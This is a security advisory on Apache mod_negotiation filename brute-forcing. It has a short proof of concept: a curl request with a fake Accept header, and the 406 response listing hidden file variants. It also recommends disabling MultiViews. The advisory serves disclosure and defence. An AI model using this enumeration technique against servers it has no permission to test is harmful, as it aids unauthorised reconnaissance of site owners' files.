HTTP Negotiation Techniques

ALTERNATIVE NAMES

Filename Brute-forcing, MultiViews Brute Forcing or mod_negotiation Brute Force.

AFFECTED SYSTEMS

Linux or Windows servers when Apache is used as a Web Server.

SEVERITY

Low

This method may greatly help the attacker to reduce the number of requests made to the server on brute force. mod_negotiation may reveal hidden files starting with .dot but not .htaccess files.

BACKGROUND

When Apache mod_negotiation is enabled with MultiViews options an attacker may easily brute force file names. Apache Web Server supports content negotiation as Hypertext Transfer Protocol — HTTP/1.1 released by IETF offers it as a part of the protocol. Apache mod_negotiation is used for offering the alternatives for the requested file in case it is not found on the server, such that the requested file /public/books/foo is not available on the current directory and mod_negotiation is enabled for the folder books or its parents, Apache server will seek for files matching foo*.

DESCRIPTION

Options Multiviews must be enabled per-directory bases or for a certain directory inside on of the , or directives in httpd.conf. There are two types of negotiation on the server, if there are alternatives for a file on the server, then it is negotiable to select among the others or using MultiViews to select the files based on a received pattern from the requester. Using MultiViews allows the attacker to brute force on filenames based on a pattern.

ANALYSIS:

For a file that is not available on a server, Apache should return 404 to the client, when Options Multiviews enabled, Apache will send 406 response with a directory listing with the matching pattern.

PoC

Suppose that the folder /img on the server as below:

[root@localhost img]# ll -h
total 756K
-rw-r--r--. 1 root root 8.0K Aug 21 20:16 index.php
-rw-r--r--. 1 root root 4.0K Aug 21 20:15 login.php
-rw-r--r--. 1 root root  91K Aug 21 20:15 logo1.tif
-rw-r--r--. 1 root root 641K Aug 21 20:14 logo.gif
-rw-r--r--. 1 root root  512 Aug 21 20:13 logo.png
-rw-r--r--. 1 root root 3.0K Aug 21 20:16 logout.php

httpd.conf:

<Directory "/var/www/html">

    Options Indexes FollowSymLinks MultiViews

    AllowOverride All
    Require all granted
</Directory>

Request with curl:

curl -kis “http://192.168.16.72/img/logo” -H “Accept: what/ever”

Response:

HTTP/1.1 406 Not Acceptable
Date: Wed, 21 Aug 2019 17:35:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
Alternates: {"logo.gif" 1 {type image/gif} {length 656384}}, {"logo.png" 1 {type image/png} {length 512}}
Vary: negotiate,accept
TCN: list
Content-Length: 406
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /img/logo could not be found on this server.</p>
Available variants:
<ul>
<li><a href="logo.gif">logo.gif</a> , type image/gif</li>
<li><a href="logo.png">logo.png</a> , type image/png</li>
</ul>
</body></html>

As seen above, an attacker may brute for the alternatives of any gives prefix.

SOLUTION:

Options Multiviews should be disabled from any *.conf file included under /etc/httpd/ or /etc/apache2 folders.

REFERENCES:

http://keralacybersquad.blogspot.com/2013/12/apache-modnegotiation-filename.html

http://www.ush.it/2008/07/02/mod_negotiation-directory-listing-filename-bruteforcing/

http://securityhorror.blogspot.com/2015/02/apache-modnegotiation-filename.html

LEGAL:

Permission is granted for the redistribution of this alert by explicitly linking the page to be referred. It may not be edited in any way without written consent.

Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties concerning this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this information.